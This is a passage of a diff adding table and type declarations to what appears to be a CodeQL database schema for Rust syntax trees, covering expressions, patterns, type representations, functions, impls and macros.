lifetime: @lifetime ref +); + +#keyset[id] +type_bound_type_reprs( + int id: @type_bound ref, + int type_repr: @type_repr ref +); + +#keyset[id] +type_bound_use_bound_generic_args( + int id: @type_bound ref, + int use_bound_generic_args: @use_bound_generic_args ref +); + +type_bound_lists( + unique int id: @type_bound_list +); + +#keyset[id, index] +type_bound_list_bounds( + int id: @type_bound_list ref, + int index: int ref, + int bound: @type_bound ref +); + +@type_repr = + @array_type_repr +| @dyn_trait_type_repr +| @fn_ptr_type_repr +| @for_type_repr +| @impl_trait_type_repr +| @infer_type_repr +| @macro_type_repr +| @never_type_repr +| @paren_type_repr +| @path_type_repr +| @ptr_type_repr +| @ref_type_repr +| @slice_type_repr +| @tuple_type_repr +; + +@use_bound_generic_arg = + @lifetime +| @name_ref +; + +use_bound_generic_args( + unique int id: @use_bound_generic_args +); + +#keyset[id, index] +use_bound_generic_args_use_bound_generic_args( + int id: @use_bound_generic_args ref, + int index: int ref, + int use_bound_generic_arg: @use_bound_generic_arg ref +); + +use_trees( + unique int id: @use_tree +); + +#keyset[id] +use_tree_is_glob( + int id: @use_tree ref +); + +#keyset[id] +use_tree_paths( + int id: @use_tree ref, + int path: @path ref +); + +#keyset[id] +use_tree_renames( + int id: @use_tree ref, + int rename: @rename ref +); + +#keyset[id] +use_tree_use_tree_lists( + int id: @use_tree ref, + int use_tree_list: @use_tree_list ref +); + +use_tree_lists( + unique int id: @use_tree_list +); + +#keyset[id, index] +use_tree_list_use_trees( + int id: @use_tree_list ref, + int index: int ref, + int use_tree: @use_tree ref +); + +@variant_def = + @struct +| @union +| @variant +; + +variant_lists( + unique int id: @variant_list +); + +#keyset[id, index] +variant_list_variants( + int id: @variant_list ref, + int index: int ref, + int variant: @variant ref +); + +visibilities( + unique int id: @visibility +); + +#keyset[id] +visibility_paths( + int id: @visibility ref, + int path: @path ref +); + +where_clauses( + unique int id: @where_clause +); + +#keyset[id, index] +where_clause_predicates( + int id: @where_clause ref, + int index: int ref, + int predicate: @where_pred ref +); + +where_preds( + unique int id: @where_pred +); + +#keyset[id] +where_pred_generic_param_lists( + int id: @where_pred ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +where_pred_lifetimes( + int id: @where_pred ref, + int lifetime: @lifetime ref +); + +#keyset[id] +where_pred_type_reprs( + int id: @where_pred ref, + int type_repr: @type_repr ref +); + +#keyset[id] +where_pred_type_bound_lists( + int id: @where_pred ref, + int type_bound_list: @type_bound_list ref +); + +array_expr_internals( + unique int id: @array_expr_internal +); + +#keyset[id, index] +array_expr_internal_attrs( + int id: @array_expr_internal ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +array_expr_internal_exprs( + int id: @array_expr_internal ref, + int index: int ref, + int expr: @expr ref +); + +#keyset[id] +array_expr_internal_is_semicolon( + int id: @array_expr_internal ref +); + +array_type_reprs( + unique int id: @array_type_repr +); + +#keyset[id] +array_type_repr_const_args( + int id: @array_type_repr ref, + int const_arg: @const_arg ref +); + +#keyset[id] +array_type_repr_element_type_reprs( + int id: @array_type_repr ref, + int element_type_repr: @type_repr ref +); + +asm_clobber_abis( + unique int id: @asm_clobber_abi +); + +asm_consts( + unique int id: @asm_const +); + +#keyset[id] +asm_const_exprs( + int id: @asm_const ref, + int expr: @expr ref +); + +#keyset[id] +asm_const_is_const( + int id: @asm_const ref +); + +asm_exprs( + unique int id: @asm_expr +); + +#keyset[id, index] +asm_expr_asm_pieces( + int id: @asm_expr ref, + int index: int ref, + int asm_piece: @asm_piece ref +); + +#keyset[id, index] +asm_expr_attrs( + int id: @asm_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +asm_expr_templates( + int id: @asm_expr ref, + int index: int ref, + int template: @expr ref +); + +asm_labels( + unique int id: @asm_label +); + +#keyset[id] +asm_label_block_exprs( + int id: @asm_label ref, + int block_expr: @block_expr ref +); + +asm_operand_nameds( + unique int id: @asm_operand_named +); + +#keyset[id] +asm_operand_named_asm_operands( + int id: @asm_operand_named ref, + int asm_operand: @asm_operand ref +); + +#keyset[id] +asm_operand_named_names( + int id: @asm_operand_named ref, + int name: @name ref +); + +asm_options_lists( + unique int id: @asm_options_list +); + +#keyset[id, index] +asm_options_list_asm_options( + int id: @asm_options_list ref, + int index: int ref, + int asm_option: @asm_option ref +); + +asm_reg_operands( + unique int id: @asm_reg_operand +); + +#keyset[id] +asm_reg_operand_asm_dir_specs( + int id: @asm_reg_operand ref, + int asm_dir_spec: @asm_dir_spec ref +); + +#keyset[id] +asm_reg_operand_asm_operand_exprs( + int id: @asm_reg_operand ref, + int asm_operand_expr: @asm_operand_expr ref +); + +#keyset[id] +asm_reg_operand_asm_reg_specs( + int id: @asm_reg_operand ref, + int asm_reg_spec: @asm_reg_spec ref +); + +asm_syms( + unique int id: @asm_sym +); + +#keyset[id] +asm_sym_paths( + int id: @asm_sym ref, + int path: @path ref +); + +assoc_type_args( + unique int id: @assoc_type_arg +); + +#keyset[id] +assoc_type_arg_const_args( + int id: @assoc_type_arg ref, + int const_arg: @const_arg ref +); + +#keyset[id] +assoc_type_arg_generic_arg_lists( + int id: @assoc_type_arg ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +assoc_type_arg_identifiers( + int id: @assoc_type_arg ref, + int identifier: @name_ref ref +); + +#keyset[id] +assoc_type_arg_param_lists( + int id: @assoc_type_arg ref, + int param_list: @param_list ref +); + +#keyset[id] +assoc_type_arg_ret_types( + int id: @assoc_type_arg ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +assoc_type_arg_return_type_syntaxes( + int id: @assoc_type_arg ref, + int return_type_syntax: @return_type_syntax ref +); + +#keyset[id] +assoc_type_arg_type_reprs( + int id: @assoc_type_arg ref, + int type_repr: @type_repr ref +); + +#keyset[id] +assoc_type_arg_type_bound_lists( + int id: @assoc_type_arg ref, + int type_bound_list: @type_bound_list ref +); + +await_exprs( + unique int id: @await_expr +); + +#keyset[id, index] +await_expr_attrs( + int id: @await_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +await_expr_exprs( + int id: @await_expr ref, + int expr: @expr ref +); + +become_exprs( + unique int id: @become_expr +); + +#keyset[id, index] +become_expr_attrs( + int id: @become_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +become_expr_exprs( + int id: @become_expr ref, + int expr: @expr ref +); + +binary_exprs( + unique int id: @binary_expr +); + +#keyset[id, index] +binary_expr_attrs( + int id: @binary_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +binary_expr_lhs( + int id: @binary_expr ref, + int lhs: @expr ref +); + +#keyset[id] +binary_expr_operator_names( + int id: @binary_expr ref, + string operator_name: string ref +); + +#keyset[id] +binary_expr_rhs( + int id: @binary_expr ref, + int rhs: @expr ref +); + +box_pats( + unique int id: @box_pat +); + +#keyset[id] +box_pat_pats( + int id: @box_pat ref, + int pat: @pat ref +); + +break_exprs( + unique int id: @break_expr +); + +#keyset[id, index] +break_expr_attrs( + int id: @break_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +break_expr_exprs( + int id: @break_expr ref, + int expr: @expr ref +); + +#keyset[id] +break_expr_lifetimes( + int id: @break_expr ref, + int lifetime: @lifetime ref +); + +@call_expr_base = + @call_expr +| @method_call_expr +; + +#keyset[id] +call_expr_base_arg_lists( + int id: @call_expr_base ref, + int arg_list: @arg_list ref +); + +#keyset[id, index] +call_expr_base_attrs( + int id: @call_expr_base ref, + int index: int ref, + int attr: @attr ref +); + +cast_exprs( + unique int id: @cast_expr +); + +#keyset[id, index] +cast_expr_attrs( + int id: @cast_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +cast_expr_exprs( + int id: @cast_expr ref, + int expr: @expr ref +); + +#keyset[id] +cast_expr_type_reprs( + int id: @cast_expr ref, + int type_repr: @type_repr ref +); + +closure_exprs( + unique int id: @closure_expr +); + +#keyset[id] +closure_expr_bodies( + int id: @closure_expr ref, + int body: @expr ref +); + +#keyset[id] +closure_expr_closure_binders( + int id: @closure_expr ref, + int closure_binder: @closure_binder ref +); + +#keyset[id] +closure_expr_is_async( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_const( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_gen( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_move( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_static( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_ret_types( + int id: @closure_expr ref, + int ret_type: @ret_type_repr ref +); + +comments( + unique int id: @comment, + int parent: @ast_node ref, + string text: string ref +); + +const_args( + unique int id: @const_arg +); + +#keyset[id] +const_arg_exprs( + int id: @const_arg ref, + int expr: @expr ref +); + +const_block_pats( + unique int id: @const_block_pat +); + +#keyset[id] +const_block_pat_block_exprs( + int id: @const_block_pat ref, + int block_expr: @block_expr ref +); + +#keyset[id] +const_block_pat_is_const( + int id: @const_block_pat ref +); + +const_params( + unique int id: @const_param +); + +#keyset[id, index] +const_param_attrs( + int id: @const_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +const_param_default_vals( + int id: @const_param ref, + int default_val: @const_arg ref +); + +#keyset[id] +const_param_is_const( + int id: @const_param ref +); + +#keyset[id] +const_param_names( + int id: @const_param ref, + int name: @name ref +); + +#keyset[id] +const_param_type_reprs( + int id: @const_param ref, + int type_repr: @type_repr ref +); + +continue_exprs( + unique int id: @continue_expr +); + +#keyset[id, index] +continue_expr_attrs( + int id: @continue_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +continue_expr_lifetimes( + int id: @continue_expr ref, + int lifetime: @lifetime ref +); + +dyn_trait_type_reprs( + unique int id: @dyn_trait_type_repr +); + +#keyset[id] +dyn_trait_type_repr_type_bound_lists( + int id: @dyn_trait_type_repr ref, + int type_bound_list: @type_bound_list ref +); + +expr_stmts( + unique int id: @expr_stmt +); + +#keyset[id] +expr_stmt_exprs( + int id: @expr_stmt ref, + int expr: @expr ref +); + +field_exprs( + unique int id: @field_expr +); + +#keyset[id, index] +field_expr_attrs( + int id: @field_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +field_expr_containers( + int id: @field_expr ref, + int container: @expr ref +); + +#keyset[id] +field_expr_identifiers( + int id: @field_expr ref, + int identifier: @name_ref ref +); + +fn_ptr_type_reprs( + unique int id: @fn_ptr_type_repr +); + +#keyset[id] +fn_ptr_type_repr_abis( + int id: @fn_ptr_type_repr ref, + int abi: @abi ref +); + +#keyset[id] +fn_ptr_type_repr_is_async( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_is_const( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_is_unsafe( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_param_lists( + int id: @fn_ptr_type_repr ref, + int param_list: @param_list ref +); + +#keyset[id] +fn_ptr_type_repr_ret_types( + int id: @fn_ptr_type_repr ref, + int ret_type: @ret_type_repr ref +); + +for_type_reprs( + unique int id: @for_type_repr +); + +#keyset[id] +for_type_repr_generic_param_lists( + int id: @for_type_repr ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +for_type_repr_type_reprs( + int id: @for_type_repr ref, + int type_repr: @type_repr ref +); + +format_args_exprs( + unique int id: @format_args_expr +); + +#keyset[id, index] +format_args_expr_args( + int id: @format_args_expr ref, + int index: int ref, + int arg: @format_args_arg ref +); + +#keyset[id, index] +format_args_expr_attrs( + int id: @format_args_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +format_args_expr_templates( + int id: @format_args_expr ref, + int template: @expr ref +); + +ident_pats( + unique int id: @ident_pat +); + +#keyset[id, index] +ident_pat_attrs( + int id: @ident_pat ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +ident_pat_is_mut( + int id: @ident_pat ref +); + +#keyset[id] +ident_pat_is_ref( + int id: @ident_pat ref +); + +#keyset[id] +ident_pat_names( + int id: @ident_pat ref, + int name: @name ref +); + +#keyset[id] +ident_pat_pats( + int id: @ident_pat ref, + int pat: @pat ref +); + +if_exprs( + unique int id: @if_expr +); + +#keyset[id, index] +if_expr_attrs( + int id: @if_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +if_expr_conditions( + int id: @if_expr ref, + int condition: @expr ref +); + +#keyset[id] +if_expr_elses( + int id: @if_expr ref, + int else: @expr ref +); + +#keyset[id] +if_expr_thens( + int id: @if_expr ref, + int then: @block_expr ref +); + +impl_trait_type_reprs( + unique int id: @impl_trait_type_repr +); + +#keyset[id] +impl_trait_type_repr_type_bound_lists( + int id: @impl_trait_type_repr ref, + int type_bound_list: @type_bound_list ref +); + +index_exprs( + unique int id: @index_expr +); + +#keyset[id, index] +index_expr_attrs( + int id: @index_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +index_expr_bases( + int id: @index_expr ref, + int base: @expr ref +); + +#keyset[id] +index_expr_indices( + int id: @index_expr ref, + int index: @expr ref +); + +infer_type_reprs( + unique int id: @infer_type_repr +); + +@item = + @const +| @enum +| @extern_block +| @extern_crate +| @function +| @impl +| @macro_call +| @macro_def +| @macro_rules +| @module +| @static +| @struct +| @trait +| @trait_alias +| @type_alias +| @union +| @use +; + +#keyset[id] +item_attribute_macro_expansions( + int id: @item ref, + int attribute_macro_expansion: @macro_items ref +); + +@labelable_expr = + @block_expr +| @looping_expr +; + +#keyset[id] +labelable_expr_labels( + int id: @labelable_expr ref, + int label: @label ref +); + +let_exprs( + unique int id: @let_expr +); + +#keyset[id, index] +let_expr_attrs( + int id: @let_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +let_expr_scrutinees( + int id: @let_expr ref, + int scrutinee: @expr ref +); + +#keyset[id] +let_expr_pats( + int id: @let_expr ref, + int pat: @pat ref +); + +let_stmts( + unique int id: @let_stmt +); + +#keyset[id, index] +let_stmt_attrs( + int id: @let_stmt ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +let_stmt_initializers( + int id: @let_stmt ref, + int initializer: @expr ref +); + +#keyset[id] +let_stmt_let_elses( + int id: @let_stmt ref, + int let_else: @let_else ref +); + +#keyset[id] +let_stmt_pats( + int id: @let_stmt ref, + int pat: @pat ref +); + +#keyset[id] +let_stmt_type_reprs( + int id: @let_stmt ref, + int type_repr: @type_repr ref +); + +lifetimes( + unique int id: @lifetime +); + +#keyset[id] +lifetime_texts( + int id: @lifetime ref, + string text: string ref +); + +lifetime_args( + unique int id: @lifetime_arg +); + +#keyset[id] +lifetime_arg_lifetimes( + int id: @lifetime_arg ref, + int lifetime: @lifetime ref +); + +lifetime_params( + unique int id: @lifetime_param +); + +#keyset[id, index] +lifetime_param_attrs( + int id: @lifetime_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +lifetime_param_lifetimes( + int id: @lifetime_param ref, + int lifetime: @lifetime ref +); + +#keyset[id] +lifetime_param_type_bound_lists( + int id: @lifetime_param ref, + int type_bound_list: @type_bound_list ref +); + +literal_exprs( + unique int id: @literal_expr +); + +#keyset[id, index] +literal_expr_attrs( + int id: @literal_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +literal_expr_text_values( + int id: @literal_expr ref, + string text_value: string ref +); + +literal_pats( + unique int id: @literal_pat +); + +#keyset[id] +literal_pat_literals( + int id: @literal_pat ref, + int literal: @literal_expr ref +); + +macro_block_exprs( + unique int id: @macro_block_expr +); + +#keyset[id] +macro_block_expr_tail_exprs( + int id: @macro_block_expr ref, + int tail_expr: @expr ref +); + +#keyset[id, index] +macro_block_expr_statements( + int id: @macro_block_expr ref, + int index: int ref, + int statement: @stmt ref +); + +macro_exprs( + unique int id: @macro_expr +); + +#keyset[id] +macro_expr_macro_calls( + int id: @macro_expr ref, + int macro_call: @macro_call ref +); + +macro_pats( + unique int id: @macro_pat +); + +#keyset[id] +macro_pat_macro_calls( + int id: @macro_pat ref, + int macro_call: @macro_call ref +); + +macro_type_reprs( + unique int id: @macro_type_repr +); + +#keyset[id] +macro_type_repr_macro_calls( + int id: @macro_type_repr ref, + int macro_call: @macro_call ref +); + +match_exprs( + unique int id: @match_expr +); + +#keyset[id, index] +match_expr_attrs( + int id: @match_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +match_expr_scrutinees( + int id: @match_expr ref, + int scrutinee: @expr ref +); + +#keyset[id] +match_expr_match_arm_lists( + int id: @match_expr ref, + int match_arm_list: @match_arm_list ref +); + +name_refs( + unique int id: @name_ref +); + +#keyset[id] +name_ref_texts( + int id: @name_ref ref, + string text: string ref +); + +never_type_reprs( + unique int id: @never_type_repr +); + +offset_of_exprs( + unique int id: @offset_of_expr +); + +#keyset[id, index] +offset_of_expr_attrs( + int id: @offset_of_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +offset_of_expr_fields( + int id: @offset_of_expr ref, + int index: int ref, + int field: @name_ref ref +); + +#keyset[id] +offset_of_expr_type_reprs( + int id: @offset_of_expr ref, + int type_repr: @type_repr ref +); + +or_pats( + unique int id: @or_pat +); + +#keyset[id, index] +or_pat_pats( + int id: @or_pat ref, + int index: int ref, + int pat: @pat ref +); + +params( + unique int id: @param +); + +#keyset[id] +param_pats( + int id: @param ref, + int pat: @pat ref +); + +paren_exprs( + unique int id: @paren_expr +); + +#keyset[id, index] +paren_expr_attrs( + int id: @paren_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +paren_expr_exprs( + int id: @paren_expr ref, + int expr: @expr ref +); + +paren_pats( + unique int id: @paren_pat +); + +#keyset[id] +paren_pat_pats( + int id: @paren_pat ref, + int pat: @pat ref +); + +paren_type_reprs( + unique int id: @paren_type_repr +); + +#keyset[id] +paren_type_repr_type_reprs( + int id: @paren_type_repr ref, + int type_repr: @type_repr ref +); + +@path_ast_node = + @path_expr +| @path_pat +| @struct_expr +| @struct_pat +| @tuple_struct_pat +; + +#keyset[id] +path_ast_node_paths( + int id: @path_ast_node ref, + int path: @path ref +); + +@path_expr_base = + @path_expr +; + +path_type_reprs( + unique int id: @path_type_repr +); + +#keyset[id] +path_type_repr_paths( + int id: @path_type_repr ref, + int path: @path ref +); + +prefix_exprs( + unique int id: @prefix_expr +); + +#keyset[id, index] +prefix_expr_attrs( + int id: @prefix_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +prefix_expr_exprs( + int id: @prefix_expr ref, + int expr: @expr ref +); + +#keyset[id] +prefix_expr_operator_names( + int id: @prefix_expr ref, + string operator_name: string ref +); + +ptr_type_reprs( + unique int id: @ptr_type_repr +); + +#keyset[id] +ptr_type_repr_is_const( + int id: @ptr_type_repr ref +); + +#keyset[id] +ptr_type_repr_is_mut( + int id: @ptr_type_repr ref +); + +#keyset[id] +ptr_type_repr_type_reprs( + int id: @ptr_type_repr ref, + int type_repr: @type_repr ref +); + +range_exprs( + unique int id: @range_expr +); + +#keyset[id, index] +range_expr_attrs( + int id: @range_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +range_expr_ends( + int id: @range_expr ref, + int end: @expr ref +); + +#keyset[id] +range_expr_operator_names( + int id: @range_expr ref, + string operator_name: string ref +); + +#keyset[id] +range_expr_starts( + int id: @range_expr ref, + int start: @expr ref +); + +range_pats( + unique int id: @range_pat +); + +#keyset[id] +range_pat_ends( + int id: @range_pat ref, + int end: @pat ref +); + +#keyset[id] +range_pat_operator_names( + int id: @range_pat ref, + string operator_name: string ref +); + +#keyset[id] +range_pat_starts( + int id: @range_pat ref, + int start: @pat ref +); + +ref_exprs( + unique int id: @ref_expr +); + +#keyset[id, index] +ref_expr_attrs( + int id: @ref_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +ref_expr_exprs( + int id: @ref_expr ref, + int expr: @expr ref +); + +#keyset[id] +ref_expr_is_const( + int id: @ref_expr ref +); + +#keyset[id] +ref_expr_is_mut( + int id: @ref_expr ref +); + +#keyset[id] +ref_expr_is_raw( + int id: @ref_expr ref +); + +ref_pats( + unique int id: @ref_pat +); + +#keyset[id] +ref_pat_is_mut( + int id: @ref_pat ref +); + +#keyset[id] +ref_pat_pats( + int id: @ref_pat ref, + int pat: @pat ref +); + +ref_type_reprs( + unique int id: @ref_type_repr +); + +#keyset[id] +ref_type_repr_is_mut( + int id: @ref_type_repr ref +); + +#keyset[id] +ref_type_repr_lifetimes( + int id: @ref_type_repr ref, + int lifetime: @lifetime ref +); + +#keyset[id] +ref_type_repr_type_reprs( + int id: @ref_type_repr ref, + int type_repr: @type_repr ref +); + +rest_pats( + unique int id: @rest_pat +); + +#keyset[id, index] +rest_pat_attrs( + int id: @rest_pat ref, + int index: int ref, + int attr: @attr ref +); + +return_exprs( + unique int id: @return_expr +); + +#keyset[id, index] +return_expr_attrs( + int id: @return_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +return_expr_exprs( + int id: @return_expr ref, + int expr: @expr ref +); + +self_params( + unique int id: @self_param +); + +#keyset[id] +self_param_is_ref( + int id: @self_param ref +); + +#keyset[id] +self_param_is_mut( + int id: @self_param ref +); + +#keyset[id] +self_param_lifetimes( + int id: @self_param ref, + int lifetime: @lifetime ref +); + +#keyset[id] +self_param_names( + int id: @self_param ref, + int name: @name ref +); + +slice_pats( + unique int id: @slice_pat +); + +#keyset[id, index] +slice_pat_pats( + int id: @slice_pat ref, + int index: int ref, + int pat: @pat ref +); + +slice_type_reprs( + unique int id: @slice_type_repr +); + +#keyset[id] +slice_type_repr_type_reprs( + int id: @slice_type_repr ref, + int type_repr: @type_repr ref +); + +struct_field_lists( + unique int id: @struct_field_list +); + +#keyset[id, index] +struct_field_list_fields( + int id: @struct_field_list ref, + int index: int ref, + int field: @struct_field ref +); + +try_exprs( + unique int id: @try_expr +); + +#keyset[id, index] +try_expr_attrs( + int id: @try_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +try_expr_exprs( + int id: @try_expr ref, + int expr: @expr ref +); + +tuple_exprs( + unique int id: @tuple_expr +); + +#keyset[id, index] +tuple_expr_attrs( + int id: @tuple_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +tuple_expr_fields( + int id: @tuple_expr ref, + int index: int ref, + int field: @expr ref +); + +tuple_field_lists( + unique int id: @tuple_field_list +); + +#keyset[id, index] +tuple_field_list_fields( + int id: @tuple_field_list ref, + int index: int ref, + int field: @tuple_field ref +); + +tuple_pats( + unique int id: @tuple_pat +); + +#keyset[id, index] +tuple_pat_fields( + int id: @tuple_pat ref, + int index: int ref, + int field: @pat ref +); + +tuple_type_reprs( + unique int id: @tuple_type_repr +); + +#keyset[id, index] +tuple_type_repr_fields( + int id: @tuple_type_repr ref, + int index: int ref, + int field: @type_repr ref +); + +type_args( + unique int id: @type_arg +); + +#keyset[id] +type_arg_type_reprs( + int id: @type_arg ref, + int type_repr: @type_repr ref +); + +type_params( + unique int id: @type_param +); + +#keyset[id, index] +type_param_attrs( + int id: @type_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +type_param_default_types( + int id: @type_param ref, + int default_type: @type_repr ref +); + +#keyset[id] +type_param_names( + int id: @type_param ref, + int name: @name ref +); + +#keyset[id] +type_param_type_bound_lists( + int id: @type_param ref, + int type_bound_list: @type_bound_list ref +); + +underscore_exprs( + unique int id: @underscore_expr +); + +#keyset[id, index] +underscore_expr_attrs( + int id: @underscore_expr ref, + int index: int ref, + int attr: @attr ref +); + +variants( + unique int id: @variant +); + +#keyset[id, index] +variant_attrs( + int id: @variant ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +variant_discriminants( + int id: @variant ref, + int discriminant: @expr ref +); + +#keyset[id] +variant_field_lists( + int id: @variant ref, + int field_list: @field_list ref +); + +#keyset[id] +variant_names( + int id: @variant ref, + int name: @name ref +); + +#keyset[id] +variant_visibilities( + int id: @variant ref, + int visibility: @visibility ref +); + +wildcard_pats( + unique int id: @wildcard_pat +); + +yeet_exprs( + unique int id: @yeet_expr +); + +#keyset[id, index] +yeet_expr_attrs( + int id: @yeet_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +yeet_expr_exprs( + int id: @yeet_expr ref, + int expr: @expr ref +); + +yield_exprs( + unique int id: @yield_expr +); + +#keyset[id, index] +yield_expr_attrs( + int id: @yield_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +yield_expr_exprs( + int id: @yield_expr ref, + int expr: @expr ref +); + +block_exprs( + unique int id: @block_expr +); + +#keyset[id, index] +block_expr_attrs( + int id: @block_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +block_expr_is_async( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_const( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_gen( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_move( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_try( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_unsafe( + int id: @block_expr ref +); + +#keyset[id] +block_expr_stmt_lists( + int id: @block_expr ref, + int stmt_list: @stmt_list ref +); + +call_exprs( + unique int id: @call_expr +); + +#keyset[id] +call_expr_functions( + int id: @call_expr ref, + int function: @expr ref +); + +consts( + unique int id: @const +); + +#keyset[id, index] +const_attrs( + int id: @const ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +const_bodies( + int id: @const ref, + int body: @expr ref +); + +#keyset[id] +const_is_const( + int id: @const ref +); + +#keyset[id] +const_is_default( + int id: @const ref +); + +#keyset[id] +const_names( + int id: @const ref, + int name: @name ref +); + +#keyset[id] +const_type_reprs( + int id: @const ref, + int type_repr: @type_repr ref +); + +#keyset[id] +const_visibilities( + int id: @const ref, + int visibility: @visibility ref +); + +enums( + unique int id: @enum +); + +#keyset[id, index] +enum_attrs( + int id: @enum ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +enum_generic_param_lists( + int id: @enum ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +enum_names( + int id: @enum ref, + int name: @name ref +); + +#keyset[id] +enum_variant_lists( + int id: @enum ref, + int variant_list: @variant_list ref +); + +#keyset[id] +enum_visibilities( + int id: @enum ref, + int visibility: @visibility ref +); + +#keyset[id] +enum_where_clauses( + int id: @enum ref, + int where_clause: @where_clause ref +); + +extern_blocks( + unique int id: @extern_block +); + +#keyset[id] +extern_block_abis( + int id: @extern_block ref, + int abi: @abi ref +); + +#keyset[id, index] +extern_block_attrs( + int id: @extern_block ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +extern_block_extern_item_lists( + int id: @extern_block ref, + int extern_item_list: @extern_item_list ref +); + +#keyset[id] +extern_block_is_unsafe( + int id: @extern_block ref +); + +extern_crates( + unique int id: @extern_crate +); + +#keyset[id, index] +extern_crate_attrs( + int id: @extern_crate ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +extern_crate_identifiers( + int id: @extern_crate ref, + int identifier: @name_ref ref +); + +#keyset[id] +extern_crate_renames( + int id: @extern_crate ref, + int rename: @rename ref +); + +#keyset[id] +extern_crate_visibilities( + int id: @extern_crate ref, + int visibility: @visibility ref +); + +functions( + unique int id: @function +); + +#keyset[id] +function_abis( + int id: @function ref, + int abi: @abi ref +); + +#keyset[id] +function_bodies( + int id: @function ref, + int body: @block_expr ref +); + +#keyset[id] +function_generic_param_lists( + int id: @function ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +function_is_async( + int id: @function ref +); + +#keyset[id] +function_is_const( + int id: @function ref +); + +#keyset[id] +function_is_default( + int id: @function ref +); + +#keyset[id] +function_is_gen( + int id: @function ref +); + +#keyset[id] +function_is_unsafe( + int id: @function ref +); + +#keyset[id] +function_names( + int id: @function ref, + int name: @name ref +); + +#keyset[id] +function_ret_types( + int id: @function ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +function_visibilities( + int id: @function ref, + int visibility: @visibility ref +); + +#keyset[id] +function_where_clauses( + int id: @function ref, + int where_clause: @where_clause ref +); + +impls( + unique int id: @impl +); + +#keyset[id] +impl_assoc_item_lists( + int id: @impl ref, + int assoc_item_list: @assoc_item_list ref +); + +#keyset[id, index] +impl_attrs( + int id: @impl ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +impl_generic_param_lists( + int id: @impl ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +impl_is_const( + int id: @impl ref +); + +#keyset[id] +impl_is_default( + int id: @impl ref +); + +#keyset[id] +impl_is_unsafe( + int id: @impl ref +); + +#keyset[id] +impl_self_ties( + int id: @impl ref, + int self_ty: @type_repr ref +); + +#keyset[id] +impl_traits( + int id: @impl ref, + int trait: @type_repr ref +); + +#keyset[id] +impl_visibilities( + int id: @impl ref, + int visibility: @visibility ref +); + +#keyset[id] +impl_where_clauses( + int id: @impl ref, + int where_clause: @where_clause ref +); + +@looping_expr = + @for_expr +| @loop_expr +| @while_expr +; + +#keyset[id] +looping_expr_loop_bodies( + int id: @looping_expr ref, + int loop_body: @block_expr ref +); + +macro_calls( + unique int id: @macro_call +); + +#keyset[id, index] +macro_call_attrs( + int id: @macro_call ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_call_paths( + int id: @macro_call ref, + int path: @path ref +); + +#keyset[id] +macro_call_token_trees( + int id: @macro_call ref, + int token_tree: @token_tree ref +); + +#keyset[id] +macro_call_macro_call_expansions( + int id: @macro_call ref, + int macro_call_expansion: @ast_node ref +); + +macro_defs( + unique int id: @macro_def +); + +#keyset[id] +macro_def_args( + int id: @macro_def ref, + int args: @token_tree ref +); + +#keyset[id, index] +macro_def_attrs( + int id: @macro_def ref, + int index: int ref, + int attr: @attr ref +); + 